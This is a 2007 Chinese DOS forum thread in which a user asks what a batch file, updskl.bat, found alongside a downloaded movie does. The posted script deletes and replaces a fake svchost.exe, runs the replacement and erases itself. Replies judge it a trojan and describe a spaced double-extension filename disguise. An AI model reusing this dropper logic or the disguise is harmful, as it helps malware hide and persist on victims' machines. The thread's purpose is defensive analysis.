中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-05 19:02
48,039 主题排行 / 350,124 发帖 / 今日 2 篇 / 48,251 会员排行
DOS批处理 & 脚本技术(批处理室) » 下载电影后发现批处理文件updskl.bat,不明白其意图
可打印版本  2,564 / 15
第1楼 enjoyer 发表于 2007-07-29 21:25
中级用户 发帖 140 积分 351
下载电影后发现批处理文件updskl.bat,不明白其意图
电影文件夹中含有批处理文件updskl.bat,内容如下:
@echo off
:loop
del "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\ver.txt"
del "C:\Program Files\Common Files\System\she.dll"
if exist "C:\Program Files\Common Files\System\svchost.exe" goto loop
C:
cd C:\Program Files\Common Files\System\
ren svchostnew.exe svchost.exe
call "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\updskl.bat"

第一步就强行删除原有的svchost.exe,第二步重命名svchostnew.exe 为svchost.exe然后执行之。看样子是想更新电脑中System夹下的svchost.exe,不明白是什么意图?有没有危险啊。请大家帮忙分析下,谢谢各位!

[ Last edited by enjoyer on 2007-7-29 at 09:36 PM ]
第2楼 wudixin96 发表于 2007-07-29 21:32
银牌会员 发帖 931 积分 1,928
有什么问题吗?

可能是模拟svchost进程吧。
第3楼 enjoyer 发表于 2007-07-29 21:39
中级用户 发帖 140 积分 351
不知道跟下载的电影文件是什么关系,还有svchost进程我也不了解,会不会影响我系统的稳定性呢?请楼上朋友帮忙分析下,谢谢了。
第4楼 slore 发表于 2007-07-29 21:53
铂金会员 发帖 2,478 积分 5,212
系统的SVCHOST在SYSTEM32下,那个地方的不是正常的系统文件。
第5楼 BWSkyer 发表于 2007-07-29 22:09
中级用户 发帖 180 积分 367 来自 重庆
有点危险吧,不建议运行,感觉是的~~毕竟电影和svchost没有什么关系吧
第6楼 enjoyer 发表于 2007-07-30 00:04
中级用户 发帖 140 积分 351
就怕是自动运行的。如果不自动运行那也没什么好怕的。
第7楼 kich 发表于 2007-07-30 12:24
中级用户 发帖 168 积分 397
我想你那个电影文件可能是假冒的!图标是,但文件最后的后缀不是!
注意,是最后,
会有这样的文件:
001.avi(N多空格).exe
图标是假的
第8楼 frankkf 发表于 2007-07-30 16:47
初级用户 发帖 43 积分 88
楼上说的这个很有可能
建议楼主还是看一下~
第9楼 voiL 发表于 2007-07-30 21:30
中级用户 发帖 189 积分 384
不知道哈,反正不要去打开它就好了...
第10楼 taoty 发表于 2007-08-02 22:58
中级用户 发帖 112 积分 275
这个批处理肯定有问题,svchost.exe路径不正确。
第11楼 jinlizhpc 发表于 2007-08-03 12:45
初级用户 发帖 74 积分 165
危险性,勿行
第12楼 webjump 发表于 2007-08-03 17:07
初级用户 发帖 15 积分 30
应该是木马
第13楼 enjoyer 发表于 2007-08-03 21:41
中级用户 发帖 140 积分 351
谢谢大家帮忙!下载的电影文件是真的(.rm格式),可以正常播放。也没有再理会这个批处理文件。不过有没有在电影播放中偷偷运行就不知道了。
第14楼 ldr2zjj 发表于 2007-08-07 01:29
初级用户 发帖 95 积分 167
把那个文件改名了再研究~~
第15楼 kingyn 发表于 2007-08-27 19:44
初级用户 发帖 21 积分 32
svchost.exe是很重要的
楼主应该多点小心
1 2  下一页
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023